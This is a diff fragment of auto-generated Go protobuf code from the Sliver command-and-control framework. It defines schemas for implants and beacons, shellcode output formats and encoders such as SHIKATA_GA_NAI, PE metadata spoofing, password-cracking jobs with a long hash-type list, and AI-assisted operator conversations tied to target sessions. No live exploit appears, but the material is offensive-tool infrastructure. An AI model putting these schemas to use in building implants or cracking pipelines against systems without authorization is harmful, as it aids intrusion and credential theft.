\x01(\rR\x10BrainServerTimer\x12 \n" + - "\vBrainClient\x18k \x01(\bR\vBrainClient\x120\n" + - "\x13BrainClientFeatures\x18l \x01(\tR\x13BrainClientFeatures\x12\x1c\n" + - "\tBrainHost\x18m \x01(\tR\tBrainHost\x12\x1c\n" + - "\tBrainPort\x18n \x01(\rR\tBrainPort\x12$\n" + - "\rBrainPassword\x18o \x01(\tR\rBrainPassword\x12\"\n" + - "\fBrainSession\x18p \x01(\tR\fBrainSession\x124\n" + - "\x15BrainSessionWhitelist\x18q \x01(\tR\x15BrainSessionWhitelist\"\xf4\x01\n" + - "\bCrackJob\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x1c\n" + - "\tCreatedAt\x18\x02 \x01(\tR\tCreatedAt\x12 \n" + - "\vCompletedAt\x18\x03 \x01(\tR\vCompletedAt\x120\n" + - "\x06Status\x18\x04 \x01(\x0e2\x18.clientpb.CrackJobStatusR\x06Status\x12\x10\n" + - "\x03Err\x18\x05 \x01(\tR\x03Err\x120\n" + - "\aCommand\x18\a \x01(\v2\x16.clientpb.CrackCommandR\aCommand\x12\"\n" + - "\fResultFileID\x18\b \x01(\tR\fResultFileID\"5\n" + - "\rCrackResponse\x12$\n" + - "\x03Job\x18\x01 \x01(\v2\x12.clientpb.CrackJobR\x03Job\"\x8d\x01\n" + - "\vCrackConfig\x12\x1a\n" + - "\bAutoFire\x18\x01 \x01(\bR\bAutoFire\x12 \n" + - "\vMaxFileSize\x18\x02 \x01(\x03R\vMaxFileSize\x12\x1c\n" + - "\tChunkSize\x18\x03 \x01(\x03R\tChunkSize\x12\"\n" + - "\fMaxDiskUsage\x18\x04 \x01(\x03R\fMaxDiskUsage\"\x87\x01\n" + - "\n" + - "CrackFiles\x12)\n" + - "\x05Files\x18\x01 \x03(\v2\x13.clientpb.CrackFileR\x05Files\x12*\n" + - "\x10CurrentDiskUsage\x18\x02 \x01(\x03R\x10CurrentDiskUsage\x12\"\n" + - "\fMaxDiskUsage\x18\x03 \x01(\x03R\fMaxDiskUsage\"\xfb\x02\n" + - "\tCrackFile\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x1c\n" + - "\tCreatedAt\x18\x02 \x01(\x03R\tCreatedAt\x12\"\n" + - "\fLastModified\x18\x03 \x01(\x03R\fLastModified\x12\x12\n" + - "\x04Name\x18\x04 \x01(\tR\x04Name\x12*\n" + - "\x10UncompressedSize\x18\x05 \x01(\x03R\x10UncompressedSize\x12\x19\n" + - "\bSha2_256\x18\x06 \x01(\tR\aSha2256\x12+\n" + - "\x04Type\x18\a \x01(\x0e2\x17.clientpb.CrackFileTypeR\x04Type\x12\"\n" + - "\fIsCompressed\x18\b \x01(\bR\fIsCompressed\x12 \n" + - "\vMaxFileSize\x18\t \x01(\x03R\vMaxFileSize\x12\x1c\n" + - "\tChunkSize\x18\n" + - " \x01(\x03R\tChunkSize\x120\n" + - "\x06Chunks\x18d \x03(\v2\x18.clientpb.CrackFileChunkR\x06Chunks\"d\n" + - "\x0eCrackFileChunk\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12 \n" + - "\vCrackFileID\x18\x02 \x01(\tR\vCrackFileID\x12\f\n" + - "\x01N\x18\x03 \x01(\rR\x01N\x12\x12\n" + - "\x04Data\x18\t \x01(\fR\x04Data\"\x80\x01\n" + - "\x11AIProviderConfigs\x128\n" + - "\tProviders\x18\x01 \x03(\v2\x1a.clientpb.AIProviderConfigR\tProviders\x121\n" + - "\x06Config\x18\x02 \x01(\v2\x19.clientpb.AIConfigSummaryR\x06Config\"F\n" + - "\x10AIProviderConfig\x12\x12\n" + - "\x04Name\x18\x01 \x01(\tR\x04Name\x12\x1e\n" + - "\n" + - "Configured\x18\x02 \x01(\bR\n" + - "Configured\"\xb9\x01\n" + - "\x0fAIConfigSummary\x12\x1a\n" + - "\bProvider\x18\x01 \x01(\tR\bProvider\x12\x14\n" + - "\x05Model\x18\x02 \x01(\tR\x05Model\x12$\n" + - "\rThinkingLevel\x18\x03 \x01(\tR\rThinkingLevel\x12\x14\n" + - "\x05Valid\x18\x04 \x01(\bR\x05Valid\x12\x14\n" + - "\x05Error\x18\x05 \x01(\tR\x05Error\x12\"\n" + - "\fSystemPrompt\x18\x06 \x01(\tR\fSystemPrompt\"M\n" + - "\x11AIConversationReq\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12(\n" + - "\x0fIncludeMessages\x18\x02 \x01(\bR\x0fIncludeMessages\"Q\n" + - "\x0fAIConversations\x12>\n" + - "\rConversations\x18\x01 \x03(\v2\x18.clientpb.AIConversationR\rConversations\"\xf4\x01\n" + - "\x14AIContextWindowUsage\x12 \n" + - "\vInputTokens\x18\x01 \x01(\x03R\vInputTokens\x12\"\n" + - "\fOutputTokens\x18\x02 \x01(\x03R\fOutputTokens\x12 \n" + - "\vTotalTokens\x18\x03 \x01(\x03R\vTotalTokens\x120\n" + - "\x13ContextWindowTokens\x18\x04 \x01(\x03R\x13ContextWindowTokens\x12B\n" + - "\x1cContextWindowTokensEstimated\x18\x05 \x01(\bR\x1cContextWindowTokensEstimated\"\xf0\x04\n" + - "\x0eAIConversation\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x1c\n" + - "\tCreatedAt\x18\x02 \x01(\x03R\tCreatedAt\x12\x1c\n" + - "\tUpdatedAt\x18\x03 \x01(\x03R\tUpdatedAt\x12\"\n" + - "\fOperatorName\x18\x04 \x01(\tR\fOperatorName\x12\x1a\n" + - "\bProvider\x18\x05 \x01(\tR\bProvider\x12\x14\n" + - "\x05Model\x18\x06 \x01(\tR\x05Model\x12\x14\n" + - "\x05Title\x18\a \x01(\tR\x05Title\x12\x18\n" + - "\aSummary\x18\b \x01(\tR\aSummary\x12\"\n" + - "\fSystemPrompt\x18\t \x01(\tR\fSystemPrompt\x12;\n" + - "\bMessages\x18\n" + - " \x03(\v2\x1f.clientpb.AIConversationMessageR\bMessages\x12\"\n" + - "\fActiveTurnID\x18\v \x01(\tR\fActiveTurnID\x12?\n" + - "\tTurnState\x18\f \x01(\x0e2!.clientpb.AIConversationTurnStateR\tTurnState\x12(\n" + - "\x0fTargetSessionID\x18\r \x01(\tR\x0fTargetSessionID\x12&\n" + - "\x0eTargetBeaconID\x18\x0e \x01(\tR\x0eTargetBeaconID\x12$\n" + - "\rThinkingLevel\x18\x0f \x01(\tR\rThinkingLevel\x12N\n" + - "\x12ContextWindowUsage\x18\x10 \x01(\v2\x1e.clientpb.AIContextWindowUsageR\x12ContextWindowUsage\"}\n" + - "\x16AIConversationMessages\x12&\n" + - "\x0eConversationID\x18\x01 \x01(\tR\x0eConversationID\x12;\n" + - "\bMessages\x18\x02 \x03(\v2\x1f.clientpb.AIConversationMessageR\bMessages\"\xd3\x06\n" + - "\x15AIConversationMessage\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12&\n" + - "\x0eConversationID\x18\x02 \x01(\tR\x0eConversationID\x12\x1c\n" + - "\tCreatedAt\x18\x03 \x01(\x03R\tCreatedAt\x12\x1c\n" + - "\tUpdatedAt\x18\x04 \x01(\x03R\tUpdatedAt\x12\"\n" + - "\fOperatorName\x18\x05 \x01(\tR\fOperatorName\x12\x1a\n" + - "\bProvider\x18\x06 \x01(\tR\bProvider\x12\x14\n" + - "\x05Model\x18\a \x01(\tR\x05Model\x12\x1a\n" + - "\bSequence\x18\b \x01(\rR\bSequence\x12\x12\n" + - "\x04Role\x18\t \x01(\tR\x04Role\x12\x18\n" + - "\aContent\x18\n" + - " \x01(\tR\aContent\x12,\n" + - "\x11ProviderMessageID\x18\v \x01(\tR\x11ProviderMessageID\x12\"\n" + - "\fFinishReason\x18\f \x01(\tR\fFinishReason\x127\n" + - "\x04Kind\x18\r \x01(\x0e2#.clientpb.AIConversationMessageKindR\x04Kind\x12I\n" + - "\n" + - "Visibility\x18\x0e \x01(\x0e2).clientpb.AIConversationMessageVisibilityR\n" + - "Visibility\x12:\n" + - "\x05State\x18\x0f \x01(\x0e2$.clientpb.AIConversationMessageStateR\x05State\x12\x16\n" + - "\x06TurnID\x18\x10 \x01(\tR\x06TurnID\x12\x16\n" + - "\x06ItemID\x18\x11 \x01(\tR\x06ItemID\x12\x1e\n" + - "\n" + - "ToolCallID\x18\x12 \x01(\tR\n" + - "ToolCallID\x12\x1a\n" + - "\bToolName\x18\x13 \x01(\tR\bToolName\x12$\n" + - "\rToolArguments\x18\x14 \x01(\tR\rToolArguments\x12\x1e\n" + - "\n" + - "ToolResult\x18\x15 \x01(\tR\n" + - "ToolResult\x12\x1c\n" + - "\tErrorText\x18\x16 \x01(\tR\tErrorText\x12/\n" + - "\x10IncludeInContext\x18\x17 \x01(\bH\x00R\x10IncludeInContext\x88\x01\x01B\x13\n" + - "\x11_IncludeInContext\"\xad\x02\n" + - "\x13AIConversationEvent\x12?\n" + - "\tEventType\x18\x01 \x01(\x0e2!.clientpb.AIConversationEventTypeR\tEventType\x12&\n" + - "\x0eConversationID\x18\x02 \x01(\tR\x0eConversationID\x12\x16\n" + - "\x06TurnID\x18\x03 \x01(\tR\x06TurnID\x12\x1c\n" + - "\tErrorText\x18\x04 \x01(\tR\tErrorText\x12<\n" + - "\fConversation\x18\x05 \x01(\v2\x18.clientpb.AIConversationR\fConversation\x129\n" + - "\aMessage\x18\x06 \x01(\v2\x1f.clientpb.AIConversationMessageR\aMessage\"Q\n" + - "\x13MonitoringProviders\x12:\n" + - "\tproviders\x18\x01 \x03(\v2\x1c.clientpb.MonitoringProviderR\tproviders\"r\n" + - "\x12MonitoringProvider\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Type\x18\x02 \x01(\tR\x04Type\x12\x16\n" + - "\x06APIKey\x18\x03 \x01(\tR\x06APIKey\x12 \n" + - "\vAPIPassword\x18\x04 \x01(\tR\vAPIPassword\"Z\n" + - "\n" + - "ResourceID\x12\x0e\n" + - "\x02ID\x18\x01 \x01(\tR\x02ID\x12\x12\n" + - "\x04Type\x18\x02 \x01(\tR\x04Type\x12\x12\n" + - "\x04Name\x18\x03 \x01(\tR\x04Name\x12\x14\n" + - "\x05Value\x18\x04 \x01(\x04R\x05Value\"K\n" + - "\x0fCertificatesReq\x12(\n" + - "\x0fCategoryFilters\x18\x01 \x01(\rR\x0fCategoryFilters\x12\x0e\n" + - "\x02CN\x18\x02 \x01(\tR\x02CN\"\xdb\x01\n" + - "\x0fCertificateData\x12\x0e\n" + - "\x02CN\x18\x01 \x01(\tR\x02CN\x12\"\n" + - "\fCreationTime\x18\x02 \x01(\tR\fCreationTime\x12$\n" + - "\rValidityStart\x18\x03 \x01(\tR\rValidityStart\x12&\n" + - "\x0eValidityExpiry\x18\x04 \x01(\tR\x0eValidityExpiry\x12\x12\n" + - "\x04Type\x18\x05 \x01(\tR\x04Type\x12\"\n" + - "\fKeyAlgorithm\x18\x06 \x01(\tR\fKeyAlgorithm\x12\x0e\n" + - "\x02ID\x18\a \x01(\tR\x02ID\"@\n" + - "\x0fCertificateInfo\x12-\n" + - "\x04info\x18\x01 \x03(\v2\x19.clientpb.CertificateDataR\x04info\"\xe4\x01\n" + - "\x18CertificateAuthorityData\x12\x0e\n" + - "\x02CN\x18\x01 \x01(\tR\x02CN\x12\"\n" + - "\fCreationTime\x18\x02 \x01(\tR\fCreationTime\x12$\n" + - "\rValidityStart\x18\x03 \x01(\tR\rValidityStart\x12&\n" + - "\x0eValidityExpiry\x18\x04 \x01(\tR\x0eValidityExpiry\x12\x12\n" + - "\x04Type\x18\x05 \x01(\tR\x04Type\x12\"\n" + - "\fKeyAlgorithm\x18\x06 \x01(\tR\fKeyAlgorithm\x12\x0e\n" + - "\x02ID\x18\a \x01(\tR\x02ID\"R\n" + - "\x18CertificateAuthorityInfo\x126\n" + - "\x04info\x18\x01 \x03(\v2\".clientpb.CertificateAuthorityDataR\x04info*[\n" + - "\fOutputFormat\x12\x0e\n" + - "\n" + - "SHARED_LIB\x10\x00\x12\r\n" + - "\tSHELLCODE\x10\x01\x12\x0e\n" + - "\n" + - "EXECUTABLE\x10\x02\x12\v\n" + - "\aSERVICE\x10\x03\x12\x0f\n" + - "\vTHIRD_PARTY\x10\x04*-\n" + - "\rStageProtocol\x12\a\n" + - "\x03TCP\x10\x00\x12\b\n" + - "\x04HTTP\x10\x01\x12\t\n" + - "\x05HTTPS\x10\x02*-\n" + - "\bFileType\x12\v\n" + - "\aNO_FILE\x10\x00\x12\n" + - "\n" + - "\x06BINARY\x10\x01\x12\b\n" + - "\x04TEXT\x10\x02*J\n" + - "\x10ShellcodeEncoder\x12\b\n" + - "\x04NONE\x10\x00\x12\x12\n" + - "\x0eSHIKATA_GA_NAI\x10\x01\x12\a\n" + - "\x03XOR\x10\x02\x12\x0f\n" + - "\vXOR_DYNAMIC\x10\x03*5\n" + - "\x11HTTPC2SegmentType\x12\b\n" + - "\x04POLL\x10\x00\x12\v\n" + - "\aSESSION\x10\x01\x12\t\n" + - "\x05CLOSE\x10\x02*\x98\x13\n" + - "\bHashType\x12\a\n" + - "\x03MD5\x10\x00\x12\b\n" + - "\x03MD4\x10\x84\a\x12\b\n" + - "\x04SHA1\x10d\x12\r\n" + - "\bSHA2_224\x10\x94\n" + - "\x12\r\n" + - "\bSHA2_256\x10\xf8\n" + - "\x12\r\n" + - "\bSHA2_384\x10\xb0T\x12\r\n" + - "\bSHA2_512\x10\xa4\r\x12\x0e\n" + - "\bSHA3_224\x10\x94\x87\x01\x12\x0e\n" + - "\bSHA3_256\x10\xf8\x87\x01\x12\x0e\n" + - "\bSHA3_384\x10܈\x01\x12\x0e\n" + - "\bSHA3_512\x10\xc0\x89\x01\x12\x0f\n" + - "\n" + - "RIPEMD_160\x10\xf0.\x12\x10\n" + - "\vBLAKE2B_256\x10\xd8\x04\x12\x1a\n" + - "\x15GOST_R_32_11_2012_256\x10\xb4[\x12\x1a\n" + - "\x15GOST_R_32_11_2012_512\x10\x98\\\x12\x14\n" + - "\x0fGOST_R_34_11_94\x10\xf45\x12\t\n" + - "\x03GPG\x10\xf2\x84\x01\x12\r\n" + - "\bHALF_MD5\x10\xec'\x12\x10\n" + - "\n" + - "KECCAK_224\x10\xa4\x8a\x01\x12\x10\n" + - "\n" + - "KECCAK_256\x10\x88\x8b\x01\x12\x10\n" + - "\n" + - "KECCAK_384\x10\xec\x8b\x01\x12\x10\n" + - "\n" + - "KECCAK_512\x10Ќ\x01\x12\x0e\n" + - "\tWHIRLPOOL\x10\xd4/\x12\f\n" + - "\aSIPHASH\x10\xf4N\x12\x0f\n" + - "\vMD5_UTF16LE\x10F\x12\x11\n" + - "\fSHA1_UTF16LE\x10\xaa\x01\x12\x13\n" + - "\x0eSHA256_UTF16LE\x10\xbe\v\x12\x13\n" + - "\x0eSHA384_UTF16LE\x10\xf6T\x12\x13\n" + - "\x0eSHA512_UTF16LE\x10\xea\r\x12\x18\n" + - "\x13BLAKE2B_512_PW_SALT\x10\xe2\x04\x12\x18\n" + - "\x13BLAKE2B_512_SALT_PW\x10\xec\x04\x12\x0f\n" + - "\vMD5_PW_SALT\x10\n" + - "\x12\x0f\n" + - "\vMD5_SALT_PW\x10\x14\x12\x15\n" + - "\x10MD5_SALT_PW_SALT\x10\xd8\x1d\x12\x14\n" + - "\x0fMD5_SALT_MD5_PW\x10\xfe\x1c\x12\n" + - "\n" + - "\x05CRC32\x10\xecY\x12\f\n" + - "\x06CRC32C\x10\xfc\xd9\x01\x12\x10\n" + - "\n" + - "CRC64Jones\x10\xe0\xda\x01\x12\x11\n" + - "\vJAVA_OBJECT\x10\x8c\x92\x01\x12\f\n" + - "\x06MURMUR\x10\xe4\xc8\x01\x12\r\n" + - "\aMURMUR3\x10\x98\xd9\x01\x12\x0e\n" + - "\tTHREE_DES\x10\x94n\x12\b\n" + - "\x03DES\x10\xb0m\x12\x11\n" + - "\vAES_128_ECB\x10\xa1\xce\x01\x12\x11\n" + - "\vAES_192_ECB\x10\xa2\xce\x01\x12\x11\n" + - "\vAES_256_ECB\x10\xa3\xce\x01\x12\x0f\n" + - "\n" + - "CHA_CHA_20\x10\xa8x\x12\x1f\n" + - "\x1aLINUX_KERNEL_CRYPTO_API_24\x10\xa4q\x12\f\n" + - "\aSKIP_32\x10\xb4t\x12\x14\n" + - "\x0fPBKDF2_HMAC_MD5\x10\xfc\\\x12\x15\n" + - "\x10PBKDF2_HMAC_SHA1\x10\xe0]\x12\x17\n" + - "\x12PBKDF2_HMAC_SHA256\x10\x94U\x12\x17\n" + - "\x12PBKDF2_HMAC_SHA512\x10\xc4^\x12\v\n" + - "\x06SCRYPT\x10\xc4E\x12\v\n" + - "\x06PHPASS\x10\x90\x03\x12\x10\n" + - "\vTACACS_PLUS\x10\xe4}\x12\x0f\n" + - "\n" + - "SIP_DIGEST\x10\x88Y\x12\f\n" + - "\aIKE_MD5\x10\xb4)\x12\r\n" + - "\bIKE_SHA1\x10\x98*\x12\x19\n" + - "\x13SNMP_V3_HMAC_MD5_96\x10\x8c\xc4\x01\x12\"\n" + - "\x1cSNMP_V3_HMAC_MD5_96__SHA1_96\x10\xa8\xc3\x01\x12\x1a\n" + - "\x14SNMP_V3_HMAC_SHA1_96\x10\xf0\xc4\x01\x12\x1d\n" + - "\x17SNMP_V3_HMAC_SHA224_128\x10\xcc\xd0\x01\x12\x1d\n" + - "\x17SNMP_V3_HMAC_SHA256_192\x10\xb0\xd1\x01\x12\x1d\n" + - "\x17SNMP_V3_HMAC_SHA384_256\x10\x94\xd2\x01\x12\x1d\n" + - "\x17SNMP_V3_HMAC_SHA512_384\x10\xa4\xd5\x01\x12\x15\n" + - "\x10WPA_EAPOL_PBKDF2\x10\xc4\x13\x12\x12\n" + - "\rWPA_EAPOL_PMK\x10\xc5\x13\x12\x1c\n" + - "\x16WPA_PBKDF2_PMKID_EAPOL\x10\xf0\xab\x01\x12\x19\n" + - "\x13WPA_PMK_PMKID_EAPOL\x10\xf1\xab\x01\x12\x16\n" + - "\x10WPA_PMKID_PBKDF2\x10\xa0\x83\x01\x12\x13\n" + - "\rWPA_PMKID_PMK\x10\xa1\x83\x01\x12\x19\n" + - "\x14IPMI2_PAKP_HMAC_SHA1\x10\x849\x12\r\n" + - "\bCRAM_MD5\x10\xd8O\x12\t\n" + - "\x03JWT\x10\xf4\x80\x01\x12\x0e\n" + - "\bRADMIN_3\x10\x90\xe4\x01\x12\x19\n" + - "\x13KERBEROS_17_TGS_REP\x10\x90\x99\x01\x12\x19\n" + - "\x13KERBEROS_17_PREAUTH\x10ؚ\x01\x12\x14\n" + - "\x0eKERBEROS_17_DB\x10\x80\xe1\x01\x12\x19\n" + - "\x13KERBEROS_18_TGS_REP\x10\xf4\x99\x01\x12\x19\n" + - "\x13KERBEROS_18_PREAUTH\x10\xbc\x9b\x01\x12\x14\n" + - "\x0eKERBEROS_18_DB\x10\xe4\xe1\x01\x12\x1f\n" + - "\x1aKERBEROS_23_SA_REQ_PREAUTH\x10\xcc:\x12\x18\n" + - "\x13KERBEROS_23_TGS_REP\x10\xacf\x12\x18\n" + - "\x12KERBEROS_23_AS_REP\x10\x98\x8e\x01\x12\x10\n" + - "\vNET_NTLM_V1\x10\xfc*\x12\x14\n" + - "\x0eNET_NTLM_V1_NT\x10\xf8\xd2\x01\x12\x10\n" + - "\vNET_NTLM_V2\x10\xe0+\x12\x14\n" + - "\x0eNET_NTLM_V2_NT\x10\xdc\xd3\x01\x12\v\n" + - "\x05FLASK\x10\xac\xe3\x01\x12\x0f\n" + - "\n" + - "ISCSI_CHAP\x10\xc0%\x12\t\n" + - "\x04RACF\x10\xb4B\x12\r\n" + - "\bAIX_SMD5\x10\x9c1\x12\x0e\n" + - "\tAIX_SSHA1\x10\xac4\x12\x10\n" + - "\vAIX_SSHA256\x10\x802\x12\x10\n" + - "\vAIX_SSHA512\x10\xe42\x12\a\n" + - "\x02LM\x10\xb8\x17\x12\r\n" + - "\aQNX_MD5\x10\xb8\x94\x01\x12\x10\n" + - "\n" + - "QNX_SHA256\x10\x9c\x95\x01\x12\x10\n" + - "\n" + - "QNX_SHA512\x10\x80\x96\x01\x12\x19\n" + - "\x14DPAPI_V1_CTX_1_AND_2\x10\xc4w\x12\x13\n" + - "\x0eDPAPI_V1_CTX_3\x10\xcew\x12\x19\n" + - "\x14DPAPI_V2_CTX_1_AND_2\x10\x9c|\x12\x13\n" + - "\x0eDPAPI_V2_CTX_3\x10\xa6|\x12\v\n" + - "\x06GRUB_2\x10\xa08\x12\x12\n" + - "\rMS_AZURE_SYNC\x10\x80d\x12\x0f\n" + - "\n" + - "BSDI_CRYPT\x10\xf0`\x12\t\n" + - "\x04NTLM\x10\xe8\a\x12\f\n" + - "\aRADMIN2\x10\xacM\x12\x14\n" + - "\x0fSAMSUNG_ANDROID\x10\xa8-\x12\x17\n" + - "\x11WINDOWS_HELLO_PIN\x10\xc4\xdb\x01\x12\x12\n" + - "\rWINDOWS_PHONE\x10\xe8k\x12\x12\n" + - "\rCISCO_ASA_MD5\x10\xea\x12\x12\x1c\n" + - "\x17CISCO_IOS_PBKDF2_SHA256\x10\xf0G\x12\x15\n" + - "\x10CISCO_IOS_SCRYPT\x10\xd4H\x12\x12\n" + - "\rCISCO_PIX_MD5\x10\xe0\x12\x12\x1a\n" + - "\x15CITRIX_NETSCALER_SHA1\x10\xa4?\x12\x1d\n" + - "\x17CITRIX_NETSCALER_SHA512\x10\xb8\xad\x01\x12\b\n" + - "\x03DCC\x10\xcc\b\x12\t\n" + - "\x04DCC2\x10\xb4\x10\x12\x0f\n" + - "\n" + - "MACOS_10_8\x10\xbc7\x12\f\n" + - "\aINVALID\x10\x8fN\x12\x10\n" + - "\vBCRYPT_UNIX\x10\x80\x19\x12\x16\n" + - "\x11SHA512_CRYPT_UNIX\x10\x88\x0e*2\n" + - "\x06States\x12\b\n" + - "\x04IDLE\x10\x00\x12\f\n" + - "\bCRACKING\x10\x01\x12\x10\n" + - "\fINITIALIZING\x10\x02*<\n" + - "\x0eCrackJobStatus\x12\x0f\n" + - "\vIN_PROGRESS\x10\x00\x12\r\n" + - "\tCOMPLETED\x10\x01\x12\n" + - "\n" + - "\x06FAILED\x10\x02*\x94\x01\n" + - "\x0fCrackAttackMode\x12\f\n" + - "\bSTRAIGHT\x10\x00\x12\x0f\n" + - "\vCOMBINATION\x10\x01\x12\x0e\n" + - "\n" + - "BRUTEFORCE\x10\x03\x12\x18\n" + - "\x14HYBRID_WORDLIST_MASK\x10\x06\x12\x18\n" + - "\x14HYBRID_MASK_WORDLIST\x10\a\x12\x0f\n" + - "\vASSOCIATION\x10\t\x12\r\n" + - "\tNO_ATTACK\x10\n" + - "*D\n" + - "\rCrackEncoding\x12\x14\n" + - "\x10INVALID_ENCODING\x10\x00\x12\x0f\n" + - "\vISO_8859_15\x10\x01\x12\f\n" + - "\bUTF_32LE\x10\x02*\x90\x01\n" + - "\x12CrackOutfileFormat\x12\x12\n" + - "\x0eINVALID_FORMAT\x10\x00\x12\r\n" + - "\tHASH_SALT\x10\x01\x12\t\n" + - "\x05PLAIN\x10\x02\x12\r\n" + - "\tHEX_PLAIN\x10\x03\x12\r\n" + - "\tCRACK_POS\x10\x04\x12\x16\n" + - "\x12TIMESTAMP_ABSOLUTE\x10\x05\x12\x16\n" + - "\x12TIMESTAMP_RELATIVE\x10\x06*c\n" + - "\x14CrackWorkloadProfile\x12\x1c\n" + - "\x18INVALID_WORKLOAD_PROFILE\x10\x00\x12\a\n" + - "\x03LOW\x10\x01\x12\v\n" + - "\aDEFAULT\x10\x02\x12\b\n" + - "\x04HIGH\x10\x03\x12\r\n" + - "\tNIGHTMARE\x10\x04*N\n" + - "\rCrackFileType\x12\x10\n" + - "\fINVALID_TYPE\x10\x00\x12\f\n" + - "\bWORDLIST\x10\x01\x12\t\n" + - "\x05RULES\x10\x02\x12\x12\n" + - "\x0eMARKOV_HCSTAT2\x10\x03*j\n" + - "\x17AIConversationTurnState\x12\x16\n" + - "\x12AI_TURN_STATE_IDLE\x10\x00\x12\x1d\n" + - "\x19AI_TURN_STATE_IN_PROGRESS\x10\x01\x12\x18\n" + - "\x14AI_TURN_STATE_FAILED\x10\x02*s\n" + - "\x19AIConversationMessageKind\x12\x18\n" + - "\x14AI_MESSAGE_KIND_CHAT\x10\x00\x12\x1d\n" + - "\x19AI_MESSAGE_KIND_REASONING\x10\x01\x12\x1d\n" + - "\x19AI_MESSAGE_KIND_TOOL_CALL\x10\x02*g\n" + - "\x1fAIConversationMessageVisibility\x12!\n" + - "\x1dAI_MESSAGE_VISIBILITY_CONTEXT\x10\x00\x12!\n" + - "\x1dAI_MESSAGE_VISIBILITY_UI_ONLY\x10\x01*{\n" + - "\x1aAIConversationMessageState\x12\x1e\n" + - "\x1aAI_MESSAGE_STATE_COMPLETED\x10\x00\x12 \n" + - "\x1cAI_MESSAGE_STATE_IN_PROGRESS\x10\x01\x12\x1b\n" + - "\x17AI_MESSAGE_STATE_FAILED\x10\x02*\xc5\x03\n" + - "\x17AIConversationEventType\x12&\n" + - "\"AI_CONVERSATION_EVENT_TYPE_UNKNOWN\x10\x00\x123\n" + - "/AI_CONVERSATION_EVENT_TYPE_CONVERSATION_UPDATED\x10\x01\x123\n" + - "/AI_CONVERSATION_EVENT_TYPE_CONVERSATION_DELETED\x10\x02\x12+\n" + - "'AI_CONVERSATION_EVENT_TYPE_TURN_STARTED\x10\x03\x12-\n" + - ")AI_CONVERSATION_EVENT_TYPE_TURN_COMPLETED\x10\x04\x12*\n" + - "&AI_CONVERSATION_EVENT_TYPE_TURN_FAILED\x10\x05\x12.\n" + - "*AI_CONVERSATION_EVENT_TYPE_MESSAGE_STARTED\x10\x06\x12.\n" + - "*AI_CONVERSATION_EVENT_TYPE_MESSAGE_UPDATED\x10\a\x120\n" + - ",AI_CONVERSATION_EVENT_TYPE_MESSAGE_COMPLETED\x10\bB/Z-github.com/bishopfox/sliver/protobuf/clientpbb\x06proto3" +func (x *WakeBeaconConfig) Reset() { + *x = WakeBeaconConfig{} + mi := &file_clientpb_client_proto_msgTypes[144] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} -var ( - file_clientpb_client_proto_rawDescOnce sync.Once - file_clientpb_client_proto_rawDescData []byte -) +func (x *WakeBeaconConfig) String() string { + return protoimpl.X.MessageStringOf(x) +} -func file_clientpb_client_proto_rawDescGZIP() []byte { - file_clientpb_client_proto_rawDescOnce.Do(func() { - file_clientpb_client_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_clientpb_client_proto_rawDesc), len(file_clientpb_client_proto_rawDesc))) - }) - return file_clientpb_client_proto_rawDescData +func (*WakeBeaconConfig) ProtoMessage() {} + +func (x *WakeBeaconConfig) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[144] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) } -var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 18) -var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 158) -var file_clientpb_client_proto_goTypes = []any{ - (OutputFormat)(0), // 0: clientpb.OutputFormat - (StageProtocol)(0), // 1: clientpb.StageProtocol - (FileType)(0), // 2: clientpb.FileType - (ShellcodeEncoder)(0), // 3: clientpb.ShellcodeEncoder - (HTTPC2SegmentType)(0), // 4: clientpb.HTTPC2SegmentType - (HashType)(0), // 5: clientpb.HashType - (States)(0), // 6: clientpb.States - (CrackJobStatus)(0), // 7: clientpb.CrackJobStatus - (CrackAttackMode)(0), // 8: clientpb.CrackAttackMode - (CrackEncoding)(0), // 9: clientpb.CrackEncoding - (CrackOutfileFormat)(0), // 10: clientpb.CrackOutfileFormat - (CrackWorkloadProfile)(0), // 11: clientpb.CrackWorkloadProfile - (CrackFileType)(0), // 12: clientpb.CrackFileType - (AIConversationTurnState)(0), // 13: clientpb.AIConversationTurnState - (AIConversationMessageKind)(0), // 14: clientpb.AIConversationMessageKind - (AIConversationMessageVisibility)(0), // 15: clientpb.AIConversationMessageVisibility - (AIConversationMessageState)(0), // 16: clientpb.AIConversationMessageState - (AIConversationEventType)(0), // 17: clientpb.AIConversationEventType - (*Version)(nil), // 18: clientpb.Version - (*ClientLogData)(nil), // 19: clientpb.ClientLogData - (*Session)(nil), // 20: clientpb.Session - (*Beacon)(nil), // 21: clientpb.Beacon - (*Beacons)(nil), // 22: clientpb.Beacons - (*BeaconTask)(nil), // 23: clientpb.BeaconTask - (*BeaconTasks)(nil), // 24: clientpb.BeaconTasks - (*BeaconIntegrity)(nil), // 25: clientpb.BeaconIntegrity - (*ImplantC2)(nil), // 26: clientpb.ImplantC2 - (*ShellcodeConfig)(nil), // 27: clientpb.ShellcodeConfig - (*ImplantConfig)(nil), // 28: clientpb.ImplantConfig - (*SpoofMetadataFile)(nil), // 29: clientpb.SpoofMetadataFile - (*IMAGE_RESOURCE_DIRECTORY)(nil), // 30: clientpb.IMAGE_RESOURCE_DIRECTORY - (*IMAGE_RESOURCE_DIRECTORY_ENTRY)(nil), // 31: clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY - (*IMAGE_RESOURCE_DATA_ENTRY)(nil), // 32: clientpb.IMAGE_RESOURCE_DATA_ENTRY - (*IMAGE_EXPORT_DIRECTORY)(nil), // 33: clientpb.IMAGE_EXPORT_DIRECTORY - (*PESpoofMetadataConfig)(nil), // 34: clientpb.PESpoofMetadataConfig - 